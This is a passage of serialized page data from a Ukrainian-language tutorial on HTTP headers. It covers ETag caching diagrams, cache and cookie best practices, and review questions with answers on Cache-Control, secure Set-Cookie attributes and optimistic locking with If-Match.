\u002Fapi\u002Fproducts\n",[3919,10628,10630],{"class":3921,"line":10629},32,[3919,10631,4883],{"emptyLinePlaceholder":4882},[3919,10633,10635],{"class":3921,"line":10634},33,[3919,10636,10637],{},"Cache --> Client: Повернути з кешу\\n(без запиту до сервера)\n",[3919,10639,10641],{"class":3921,"line":10640},34,[3919,10642,4883],{"emptyLinePlaceholder":4882},[3919,10644,10646],{"class":3921,"line":10645},35,[3919,10647,10648],{},"== Третій запит (кеш застарів, >5 хв) ==\n",[3919,10650,10652],{"class":3921,"line":10651},36,[3919,10653,4883],{"emptyLinePlaceholder":4882},[3919,10655,10657],{"class":3921,"line":10656},37,[3919,10658,10659],{},"Client -> WebServer: GET \u002Fapi\u002Fproducts\\n**Conditional Request:**\\nIf-None-Match: \"products-v5-hash\"\\nCookie: sessionId=abc123\n",[3919,10661,10663],{"class":3921,"line":10662},38,[3919,10664,4883],{"emptyLinePlaceholder":4882},[3919,10666,10668],{"class":3921,"line":10667},39,[3919,10669,10670],{},"WebServer -> Backend: Перевірити ETag\n",[3919,10672,10674],{"class":3921,"line":10673},40,[3919,10675,4883],{"emptyLinePlaceholder":4882},[3919,10677,10679],{"class":3921,"line":10678},41,[3919,10680,10681],{},"Backend --> WebServer: Дані не змінилися\n",[3919,10683,10685],{"class":3921,"line":10684},42,[3919,10686,4883],{"emptyLinePlaceholder":4882},[3919,10688,10690],{"class":3921,"line":10689},43,[3919,10691,10692],{},"WebServer --> Client: HTTP\u002F1.1 304 Not Modified\\nETag: \"products-v5-hash\"\\nCache-Control: private, max-age=300\\n\\n[Тіло порожнє]\n",[3919,10694,10696],{"class":3921,"line":10695},44,[3919,10697,4883],{"emptyLinePlaceholder":4882},[3919,10699,10701],{"class":3921,"line":10700},45,[3919,10702,10703],{},"Client -> Cache: Використати\\nстарі дані з кешу\n",[3919,10705,10707],{"class":3921,"line":10706},46,[3919,10708,4883],{"emptyLinePlaceholder":4882},[3919,10710,10712],{"class":3921,"line":10711},47,[3919,10713,10714],{},"note right of Client\n",[3919,10716,10718],{"class":3921,"line":10717},48,[3919,10719,10720],{},"  Економія трафіку: ~80%\n",[3919,10722,10724],{"class":3921,"line":10723},49,[3919,10725,10726],{},"  Лише заголовки, без тіла\n",[3919,10728,10730],{"class":3921,"line":10729},50,[3919,10731,10732],{},"end note\n",[3919,10734,10736],{"class":3921,"line":10735},51,[3919,10737,4883],{"emptyLinePlaceholder":4882},[3919,10739,10741],{"class":3921,"line":10740},52,[3919,10742,10743],{},"== Четвертий запит (дані оновилися) ==\n",[3919,10745,10747],{"class":3921,"line":10746},53,[3919,10748,4883],{"emptyLinePlaceholder":4882},[3919,10750,10752],{"class":3921,"line":10751},54,[3919,10753,10754],{},"Client -> WebServer: GET \u002Fapi\u002Fproducts\\nIf-None-Match: \"products-v5-hash\"\n",[3919,10756,10758],{"class":3921,"line":10757},55,[3919,10759,4883],{"emptyLinePlaceholder":4882},[3919,10761,10763],{"class":3921,"line":10762},56,[3919,10764,10670],{},[3919,10766,10768],{"class":3921,"line":10767},57,[3919,10769,4883],{"emptyLinePlaceholder":4882},[3919,10771,10773],{"class":3921,"line":10772},58,[3919,10774,10560],{},[3919,10776,10778],{"class":3921,"line":10777},59,[3919,10779,4883],{"emptyLinePlaceholder":4882},[3919,10781,10783],{"class":3921,"line":10782},60,[3919,10784,10785],{},"DB --> Backend: Нові дані\n",[3919,10787,10789],{"class":3921,"line":10788},61,[3919,10790,4883],{"emptyLinePlaceholder":4882},[3919,10792,10794],{"class":3921,"line":10793},62,[3919,10795,10796],{},"Backend --> WebServer: JSON з новими даними\n",[3919,10798,10800],{"class":3921,"line":10799},63,[3919,10801,4883],{"emptyLinePlaceholder":4882},[3919,10803,10805],{"class":3921,"line":10804},64,[3919,10806,10807],{},"WebServer --> Client: HTTP\u002F1.1 200 OK\\nETag: \"products-v6-hash\"\\nCache-Control: private, max-age=300\\n\\n[Нові JSON дані]\n",[3919,10809,10811],{"class":3921,"line":10810},65,[3919,10812,4883],{"emptyLinePlaceholder":4882},[3919,10814,10816],{"class":3921,"line":10815},66,[3919,10817,10818],{},"Client -> Cache: Оновити кеш\n",[3919,10820,10822],{"class":3921,"line":10821},67,[3919,10823,4883],{"emptyLinePlaceholder":4882},[3919,10825,10827],{"class":3921,"line":10826},68,[3919,10828,10829],{},"@enduml\n",[3820,10831],{},[3823,10833,10835],{"id":10834},"узагальнення-та-найкращі-практики","Узагальнення та найкращі практики",[3738,10837,10838,10875,10918,10949],{},[3741,10839,10842,10847],{"icon":10840,"title":10841},"i-lucide-shield","🔒 Безпека",[3828,10843,10844],{},[3785,10845,10846],{},"Обов'язкові заголовки для продакшн:",[3746,10848,10849,10854,10859,10866,10872],{},[3749,10850,10851,10853],{},[3759,10852,9884],{}," для всіх cookies через HTTPS",[3749,10855,10856,10858],{},[3759,10857,10005],{}," для автентифікаційних cookies",[3749,10860,10861,4177,10863,10865],{},[3759,10862,10028],{},[3759,10864,10158],{}," для захисту від CSRF",[3749,10867,10868,10869,10871],{},"Приховувати версію у ",[3759,10870,4259],{}," заголовку",[3749,10873,10874],{},"Використовувати HTTPS для Basic Authentication",[3741,10876,10878,10883],{"icon":92,"title":10877},"⚡ Продуктивність",[3828,10879,10880],{},[3785,10881,10882],{},"Оптимізація кешування:",[3746,10884,10885,10891,10899,10907,10912],{},[3749,10886,10887,10888],{},"Статичні файли: ",[3759,10889,10890],{},"Cache-Control: public, max-age=31536000, immutable",[3749,10892,10893,10894,9948,10897],{},"HTML: ",[3759,10895,10896],{},"Cache-Control: no-cache",[3759,10898,3765],{},[3749,10900,10901,10902,9948,10905],{},"API: ",[3759,10903,10904],{},"Cache-Control: private, max-age=\u003Cчас>",[3759,10906,3765],{},[3749,10908,10909,10910],{},"Завжди використовувати ",[3759,10911,5341],{},[3749,10913,10914,10915,10917],{},"Умовні запити (",[3759,10916,4390],{},") економлять до 80% трафіку",[3741,10919,10922,10927],{"icon":10920,"title":10921},"i-lucide-file-text","📝 Content Negotiation",[3828,10923,10924],{},[3785,10925,10926],{},"Узгодження контенту:",[3746,10928,10929,10934,10939,10944],{},[3749,10930,10931,10933],{},[3759,10932,4038],{}," для формату (JSON, XML, HTML)",[3749,10935,10936,10938],{},[3759,10937,4049],{}," для мультимовних сайтів",[3749,10940,10941,10943],{},[3759,10942,4060],{}," для стиснення",[3749,10945,10946,10948],{},[3759,10947,5294],{}," для коректного кешування варіацій",[3741,10950,10953,10958],{"icon":10951,"title":10952},"i-lucide-cookie","🍪 Cookies",[3828,10954,10955],{},[3785,10956,10957],{},"Налаштування cookies:",[3746,10959,10960,10966,10972,10978],{},[3749,10961,10962,10963],{},"Session: ",[3759,10964,10965],{},"HttpOnly; Secure; SameSite=Strict; Max-Age=\u003Cчас>",[3749,10967,10968,10969],{},"Remember me: ",[3759,10970,10971],{},"HttpOnly; Secure; SameSite=Lax; Max-Age=2592000",[3749,10973,10974,10975],{},"UI: ",[3759,10976,10977],{},"Secure; SameSite=Lax; Max-Age=31536000",[3749,10979,10980,10981],{},"Видалення: ",[3759,10982,10983],{},"Max-Age=0",[3820,10985],{},[3823,10987,10989],{"id":10988},"контрольні-питання","Контрольні питання",[10991,10992,10993],"accordion",{},[10994,10995,10997,11006,11021],"accordion-item",{"label":10996},"Питання 1: Вибір директив Cache-Control",[3828,10998,10999,11002,11003,11005],{},[3785,11000,11001],{},"Завдання:"," Виберіть правильні директиви ",[3759,11004,3761],{}," для наступних ресурсів:",[3828,11007,11008,11009,11012,11014,11015,11017,11018,11020],{},"a) CSS-файл з хешем у назві: ",[3759,11010,11011],{},"styles.a3f2b9d.css",[4703,11013],{},"\nb) HTML-сторінка головної",[4703,11016],{},"\nc) JSON-відповідь API з персоналізованими даними користувача",[4703,11019],{},"\nd) Банківська виписка (PDF)",[11022,11023,11025,11030,11036,11048,11051,11057,11079,11082,11088,11110,11124,11130,11151],"collapsible",{"label":11024},"Показати відповідь",[3828,11026,11027],{},[3785,11028,11029],{},"Відповіді:",[3828,11031,11032,11033],{},"a) ",[3785,11034,11035],{},"CSS з хешем:",[3836,11037,11038],{"className":3913,"code":7928,"language":3915,"meta":3844,"style":3844},[3759,11039,11040],{"__ignoreMap":3844},[3919,11041,11042,11044,11046],{"class":3921,"line":3922},[3919,11043,3761],{"class":3925},[3919,11045,3930],{"class":3929},[3919,11047,7887],{"class":3933},[3828,11049,11050],{},"Файл ніколи не зміниться (при зміні змінюється назва). Кешувати назавжди на всіх рівнях (браузер, CDN, проксі).",[3828,11052,11053,11054],{},"b) ",[3785,11055,11056],{},"HTML головної:",[3836,11058,11060],{"className":3913,"code":11059,"language":3915,"meta":3844,"style":3844},"Cache-Control: no-cache, must-revalidate\nETag: \"html-version-42\"\n",[3759,11061,11062,11070],{"__ignoreMap":3844},[3919,11063,11064,11066,11068],{"class":3921,"line":3922},[3919,11065,3761],{"class":3925},[3919,11067,3930],{"class":3929},[3919,11069,7960],{"class":3933},[3919,11071,11072,11074,11076],{"class":3921,"line":3937},[3919,11073,3765],{"class":3925},[3919,11075,3930],{"class":3929},[3919,11077,11078],{"class":3933}," \"html-version-42\"\n",[3828,11080,11081],{},"Завжди перевіряти з сервером (але використовувати 304 для економії). HTML потребує актуальності.",[3828,11083,11084,11085],{},"c) ",[3785,11086,11087],{},"Персоналізовані API-дані:",[3836,11089,11091],{"className":3913,"code":11090,"language":3915,"meta":3844,"style":3844},"Cache-Control: private, max-age=300, must-revalidate\nETag: \"user-42-data-hash\"\n",[3759,11092,11093,11101],{"__ignoreMap":3844},[3919,11094,11095,11097,11099],{"class":3921,"line":3922},[3919,11096,3761],{"class":3925},[3919,11098,3930],{"class":3929},[3919,11100,7991],{"class":3933},[3919,11102,11103,11105,11107],{"class":3921,"line":3937},[3919,11104,3765],{"class":3925},[3919,11106,3930],{"class":3929},[3919,11108,11109],{"class":3933}," \"user-42-data-hash\"\n",[3828,11111,11112,11115,11116,11119,11120,11123],{},[3759,11113,11114],{},"private"," — не кешувати на CDN (дані персональні). ",[3759,11117,11118],{},"max-age=300"," — 5 хвилин актуальності. ",[3759,11121,11122],{},"must-revalidate"," — обов'язково перевірити після закінчення.",[3828,11125,11126,11127],{},"d) ",[3785,11128,11129],{},"Банківська виписка:",[3836,11131,11133],{"className":3913,"code":11132,"language":3915,"meta":3844,"style":3844},"Cache-Control: no-store, no-cache, must-revalidate\nPragma: no-cache\n",[3759,11134,11135,11143],{"__ignoreMap":3844},[3919,11136,11137,11139,11141],{"class":3921,"line":3922},[3919,11138,3761],{"class":3925},[3919,11140,3930],{"class":3929},[3919,11142,8052],{"class":3933},[3919,11144,11145,11147,11149],{"class":3921,"line":3937},[3919,11146,8057],{"class":3925},[3919,11148,3930],{"class":3929},[3919,11150,4086],{"class":3933},[3828,11152,11153],{},"Жодного кешування для чутливих фінансових даних.",[3828,11155,11156],{},"::",[10994,11158,11160,11165,11179,11182],{"label":11159},"Питання 2: Аналіз Set-Cookie",[3828,11161,11162,11164],{},[3785,11163,11001],{}," Проаналізуйте наступний заголовок та знайдіть проблеми безпеки:",[3836,11166,11168],{"className":3913,"code":11167,"language":3915,"meta":3844,"style":3844},"Set-Cookie: sessionId=user123token; Path=\u002F; Max-Age=86400\n",[3759,11169,11170],{"__ignoreMap":3844},[3919,11171,11172,11174,11176],{"class":3921,"line":3922},[3919,11173,3926],{"class":3925},[3919,11175,3930],{"class":3929},[3919,11177,11178],{"class":3933}," sessionId=user123token; Path=\u002F; Max-Age=86400\n",[3828,11180,11181],{},"Що не так? Як виправити?",[11022,11183,11184,11189,11214,11219,11233,11237],{"label":11024},[3828,11185,11186],{},[3785,11187,11188],{},"Проблеми:",[3851,11190,11191,11199,11206],{},[3749,11192,11193,11198],{},[3785,11194,11195,11196],{},"Немає ",[3759,11197,9884],{}," — cookie передаватиметься через HTTP, можливе перехоплення.",[3749,11200,11201,11205],{},[3785,11202,11195,11203],{},[3759,11204,10005],{}," — cookie доступне через JavaScript, вразливе до XSS.",[3749,11207,11208,11213],{},[3785,11209,11195,11210],{},[3759,11211,11212],{},"SameSite"," — вразливе до CSRF-атак.",[3828,11215,11216],{},[3785,11217,11218],{},"Виправлена версія:",[3836,11220,11222],{"className":3913,"code":11221,"language":3915,"meta":3844,"style":3844},"Set-Cookie: sessionId=user123token; HttpOnly; Secure; SameSite=Strict; Path=\u002F; Max-Age=86400\n",[3759,11223,11224],{"__ignoreMap":3844},[3919,11225,11226,11228,11230],{"class":3921,"line":3922},[3919,11227,3926],{"class":3925},[3919,11229,3930],{"class":3929},[3919,11231,11232],{"class":3933}," sessionId=user123token; HttpOnly; Secure; SameSite=Strict; Path=\u002F; Max-Age=86400\n",[3828,11234,11235],{},[3785,11236,4113],{},[3746,11238,11239,11246,11251],{},[3749,11240,11241,11243,11244,4139],{},[3759,11242,10005],{}," — захист від XSS (не можна вкрасти через ",[3759,11245,9912],{},[3749,11247,11248,11250],{},[3759,11249,9884],{}," — лише через HTTPS (захист від перехоплення).",[3749,11252,11253,11255],{},[3759,11254,10028],{}," — захист від CSRF (cookie не надсилається у cross-site запитах).",[10994,11257,11259,11264],{"label":11258},"Питання 3: Оптимістична блокування",[3828,11260,11261,11263],{},[3785,11262,11001],{}," Реалізуйте сценарій оптимістичної блокування для оновлення статті блогу. Напишіть RAW HTTP-запити та відповіді для успішного та конфліктного оновлення.",[11022,11265,11266,11271,11276,11312,11316,11392,11397,11456,11461,11537,11539,11544,11549,11607,11612],{"label":11024},[3828,11267,11268],{},[3785,11269,11270],{},"Сценарій успішного оновлення:",[3828,11272,11273],{},[3785,11274,11275],{},"1. Отримання статті:",[3836,11277,11279],{"className":3913,"code":11278,"language":3915,"meta":3844,"style":3844},"GET \u002Fapi\u002Farticles\u002F42 HTTP\u002F1.1\nHost: blog.example.com\nAuthorization: Bearer token-user-A\n",[3759,11280,11281,11294,11303],{"__ignoreMap":3844},[3919,11282,11283,11285,11288,11290,11292],{"class":3921,"line":3922},[3919,11284,3998],{"class":3997},[3919,11286,11287],{"class":3982}," \u002Fapi\u002Farticles\u002F42 ",[3919,11289,4004],{"class":3929},[3919,11291,4007],{"class":3982},[3919,11293,4011],{"class":4010},[3919,11295,11296,11298,11300],{"class":3921,"line":3937},[3919,11297,4016],{"class":3925},[3919,11299,3930],{"class":3929},[3919,11301,11302],{"class":3933}," blog.example.com\n",[3919,11304,11305,11307,11309],{"class":3921,"line":4024},[3919,11306,4071],{"class":3925},[3919,11308,3930],{"class":3929},[3919,11310,11311],{"class":3933}," Bearer token-user-A\n",[3828,11313,11314],{},[3785,11315,5844],{},[3836,11317,11319],{"className":3913,"code":11318,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 200 OK\nContent-Type: application\u002Fjson\nETag: \"article-v10\"\n\n{\"id\":42,\"title\":\"Old Title\",\"content\":\"...\",\"version\":10}\n",[3759,11320,11321,11333,11341,11350,11354],{"__ignoreMap":3844},[3919,11322,11323,11325,11327,11329,11331],{"class":3921,"line":3922},[3919,11324,4004],{"class":3929},[3919,11326,4007],{"class":3982},[3919,11328,4862],{"class":4010},[3919,11330,4865],{"class":4010},[3919,11332,4868],{"class":3933},[3919,11334,11335,11337,11339],{"class":3921,"line":3937},[3919,11336,4281],{"class":3925},[3919,11338,3930],{"class":3929},[3919,11340,4946],{"class":3933},[3919,11342,11343,11345,11347],{"class":3921,"line":4024},[3919,11344,3765],{"class":3925},[3919,11346,3930],{"class":3929},[3919,11348,11349],{"class":3933}," \"article-v10\"\n",[3919,11351,11352],{"class":3921,"line":4035},[3919,11353,4883],{"emptyLinePlaceholder":4882},[3919,11355,11356,11358,11360,11362,11364,11366,11368,11370,11373,11375,11377,11379,11381,11383,11385,11387,11390],{"class":3921,"line":4046},[3919,11357,4888],{"class":3982},[3919,11359,4892],{"class":4891},[3919,11361,3930],{"class":3982},[3919,11363,4897],{"class":4010},[3919,11365,4900],{"class":3982},[3919,11367,8887],{"class":4891},[3919,11369,3930],{"class":3982},[3919,11371,11372],{"class":3933},"\"Old Title\"",[3919,11374,4900],{"class":3982},[3919,11376,8897],{"class":4891},[3919,11378,3930],{"class":3982},[3919,11380,7393],{"class":3933},[3919,11382,4900],{"class":3982},[3919,11384,8906],{"class":4891},[3919,11386,3930],{"class":3982},[3919,11388,11389],{"class":4010},"10",[3919,11391,4911],{"class":3982},[3828,11393,11394],{},[3785,11395,11396],{},"2. Оновлення (версія не змінилася):",[3836,11398,11400],{"className":3913,"code":11399,"language":3915,"meta":3844,"style":3844},"PUT \u002Fapi\u002Farticles\u002F42 HTTP\u002F1.1\nIf-Match: \"article-v10\"\nContent-Type: application\u002Fjson\n\n{\"title\":\"New Title\",\"content\":\"updated content\"}\n",[3759,11401,11402,11414,11422,11430,11434],{"__ignoreMap":3844},[3919,11403,11404,11406,11408,11410,11412],{"class":3921,"line":3922},[3919,11405,8983],{"class":3997},[3919,11407,11287],{"class":3982},[3919,11409,4004],{"class":3929},[3919,11411,4007],{"class":3982},[3919,11413,4011],{"class":4010},[3919,11415,11416,11418,11420],{"class":3921,"line":3937},[3919,11417,4396],{"class":3925},[3919,11419,3930],{"class":3929},[3919,11421,11349],{"class":3933},[3919,11423,11424,11426,11428],{"class":3921,"line":4024},[3919,11425,4281],{"class":3925},[3919,11427,3930],{"class":3929},[3919,11429,4946],{"class":3933},[3919,11431,11432],{"class":3921,"line":4035},[3919,11433,4883],{"emptyLinePlaceholder":4882},[3919,11435,11436,11438,11440,11442,11445,11447,11449,11451,11454],{"class":3921,"line":4046},[3919,11437,4888],{"class":3982},[3919,11439,8887],{"class":4891},[3919,11441,3930],{"class":3982},[3919,11443,11444],{"class":3933},"\"New Title\"",[3919,11446,4900],{"class":3982},[3919,11448,8897],{"class":4891},[3919,11450,3930],{"class":3982},[3919,11452,11453],{"class":3933},"\"updated content\"",[3919,11455,4911],{"class":3982},[3828,11457,11458],{},[3785,11459,11460],{},"Відповідь (успіх):",[3836,11462,11464],{"className":3913,"code":11463,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 200 OK\nETag: \"article-v11\"\nContent-Type: application\u002Fjson\n\n{\"id\":42,\"title\":\"New Title\",\"version\":11,\"updatedAt\":\"2026-08-29T14:30:00Z\"}\n",[3759,11465,11466,11478,11487,11495,11499],{"__ignoreMap":3844},[3919,11467,11468,11470,11472,11474,11476],{"class":3921,"line":3922},[3919,11469,4004],{"class":3929},[3919,11471,4007],{"class":3982},[3919,11473,4862],{"class":4010},[3919,11475,4865],{"class":4010},[3919,11477,4868],{"class":3933},[3919,11479,11480,11482,11484],{"class":3921,"line":3937},[3919,11481,3765],{"class":3925},[3919,11483,3930],{"class":3929},[3919,11485,11486],{"class":3933}," \"article-v11\"\n",[3919,11488,11489,11491,11493],{"class":3921,"line":4024},[3919,11490,4281],{"class":3925},[3919,11492,3930],{"class":3929},[3919,11494,4946],{"class":3933},[3919,11496,11497],{"class":3921,"line":4035},[3919,11498,4883],{"emptyLinePlaceholder":4882},[3919,11500,11501,11503,11505,11507,11509,11511,11513,11515,11517,11519,11521,11523,11526,11528,11530,11532,11535],{"class":3921,"line":4046},[3919,11502,4888],{"class":3982},[3919,11504,4892],{"class":4891},[3919,11506,3930],{"class":3982},[3919,11508,4897],{"class":4010},[3919,11510,4900],{"class":3982},[3919,11512,8887],{"class":4891},[3919,11514,3930],{"class":3982},[3919,11516,11444],{"class":3933},[3919,11518,4900],{"class":3982},[3919,11520,8906],{"class":4891},[3919,11522,3930],{"class":3982},[3919,11524,11525],{"class":4010},"11",[3919,11527,4900],{"class":3982},[3919,11529,8605],{"class":4891},[3919,11531,3930],{"class":3982},[3919,11533,11534],{"class":3933},"\"2026-08-29T14:30:00Z\"",[3919,11536,4911],{"class":3982},[3820,11538],{},[3828,11540,11541],{},[3785,11542,11543],{},"Сценарій конфлікту (хтось вже оновив):",[3828,11545,11546],{},[3785,11547,11548],{},"Користувач B: Оновлення зі старою версією:",[3836,11550,11552],{"className":3913,"code":11551,"language":3915,"meta":3844,"style":3844},"PUT \u002Fapi\u002Farticles\u002F42 HTTP\u002F1.1\nIf-Match: \"article-v10\"\nContent-Type: application\u002Fjson\n\n{\"title\":\"Different Title\",\"content\":\"...\"}\n",[3759,11553,11554,11566,11574,11582,11586],{"__ignoreMap":3844},[3919,11555,11556,11558,11560,11562,11564],{"class":3921,"line":3922},[3919,11557,8983],{"class":3997},[3919,11559,11287],{"class":3982},[3919,11561,4004],{"class":3929},[3919,11563,4007],{"class":3982},[3919,11565,4011],{"class":4010},[3919,11567,11568,11570,11572],{"class":3921,"line":3937},[3919,11569,4396],{"class":3925},[3919,11571,3930],{"class":3929},[3919,11573,11349],{"class":3933},[3919,11575,11576,11578,11580],{"class":3921,"line":4024},[3919,11577,4281],{"class":3925},[3919,11579,3930],{"class":3929},[3919,11581,4946],{"class":3933},[3919,11583,11584],{"class":3921,"line":4035},[3919,11585,4883],{"emptyLinePlaceholder":4882},[3919,11587,11588,11590,11592,11594,11597,11599,11601,11603,11605],{"class":3921,"line":4046},[3919,11589,4888],{"class":3982},[3919,11591,8887],{"class":4891},[3919,11593,3930],{"class":3982},[3919,11595,11596],{"class":3933},"\"Different Title\"",[3919,11598,4900],{"class":3982},[3919,11600,8897],{"class":4891},[3919,11602,3930],{"class":3982},[3919,11604,7393],{"class":3933},[3919,11606,4911],{"class":3982},[3828,11608,11609],{},[3785,11610,11611],{},"Відповідь (конфлікт):",[3836,11613,11615],{"className":3913,"code":11614,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 412 Precondition Failed\nETag: \"article-v11\"\nContent-Type: application\u002Fjson\n\n{\n  \"error\": \"Precondition Failed\",\n  \"message\": \"Article was modified by another user\",\n  \"currentVersion\": 11,\n  \"yourVersion\": 10,\n  \"suggestion\": \"Reload the article, merge changes, and try again\"\n}\n",[3759,11616,11617,11629,11637,11645,11649,11654,11667,11679,11690,11701,11711],{"__ignoreMap":3844},[3919,11618,11619,11621,11623,11625,11627],{"class":3921,"line":3922},[3919,11620,4004],{"class":3929},[3919,11622,4007],{"class":3982},[3919,11624,4862],{"class":4010},[3919,11626,9182],{"class":4010},[3919,11628,9185],{"class":3933},[3919,11630,11631,11633,11635],{"class":3921,"line":3937},[3919,11632,3765],{"class":3925},[3919,11634,3930],{"class":3929},[3919,11636,11486],{"class":3933},[3919,11638,11639,11641,11643],{"class":3921,"line":4024},[3919,11640,4281],{"class":3925},[3919,11642,3930],{"class":3929},[3919,11644,4946],{"class":3933},[3919,11646,11647],{"class":3921,"line":4035},[3919,11648,4883],{"emptyLinePlaceholder":4882},[3919,11650,11651],{"class":3921,"line":4046},[3919,11652,11653],{"class":3982},"{\n",[3919,11655,11656,11659,11662,11664],{"class":3921,"line":4057},[3919,11657,11658],{"class":4891},"  \"error\"",[3919,11660,11661],{"class":3982},": ",[3919,11663,9216],{"class":3933},[3919,11665,11666],{"class":3982},",\n",[3919,11668,11669,11672,11674,11677],{"class":3921,"line":4068},[3919,11670,11671],{"class":4891},"  \"message\"",[3919,11673,11661],{"class":3982},[3919,11675,11676],{"class":3933},"\"Article was modified by another user\"",[3919,11678,11666],{"class":3982},[3919,11680,11681,11684,11686,11688],{"class":3921,"line":4079},[3919,11682,11683],{"class":4891},"  \"currentVersion\"",[3919,11685,11661],{"class":3982},[3919,11687,11525],{"class":4010},[3919,11689,11666],{"class":3982},[3919,11691,11692,11695,11697,11699],{"class":3921,"line":4089},[3919,11693,11694],{"class":4891},"  \"yourVersion\"",[3919,11696,11661],{"class":3982},[3919,11698,11389],{"class":4010},[3919,11700,11666],{"class":3982},[3919,11702,11703,11706,11708],{"class":3921,"line":4100},[3919,11704,11705],{"class":4891},"  \"suggestion\"",[3919,11707,11661],{"class":3982},[3919,11709,11710],{"class":3933},"\"Reload the article, merge changes, and try again\"\n",[3919,11712,11713],{"class":3921,"line":10513},[3919,11714,4911],{"class":3982},[3828,11716,11156],{},[3820,11718],{},[3823,11720,11722],{"id":11721},"додаткові-ресурси","Додаткові ресурси",[3851,11724,11725,11731,11737,11743],{},[3749,11726,11727,11730],{},[3785,11728,11729],{},"RFC 9110"," — HTTP Semantics (офіційна специфікація заголовків).",[3749,11732,11733,11736],{},[3785,11734,11735],{},"MDN Web Docs: HTTP Headers"," — повний список заголовків з прикладами.",[3749,11738,11739,11742],{},[3785,11740,11741],{},"web.dev: HTTP Caching"," — глибокий посібник з кешування від Google.",[3749,11744,11745,11748],{},[3785,11746,11747],{},"OWASP: Cookies Security"," — рекомендації безпеки для cookies.",[4289,11750,11751,6807,11754,11759],{},[3785,11752,11753],{},"Наступний розділ:",[11755,11756,11758],"a",{"href":11757},".\u002Fcors-and-security","CORS та безпека HTTP"," — детальний розгляд міждоменних запитів, CORS, CSP, HTTPS security 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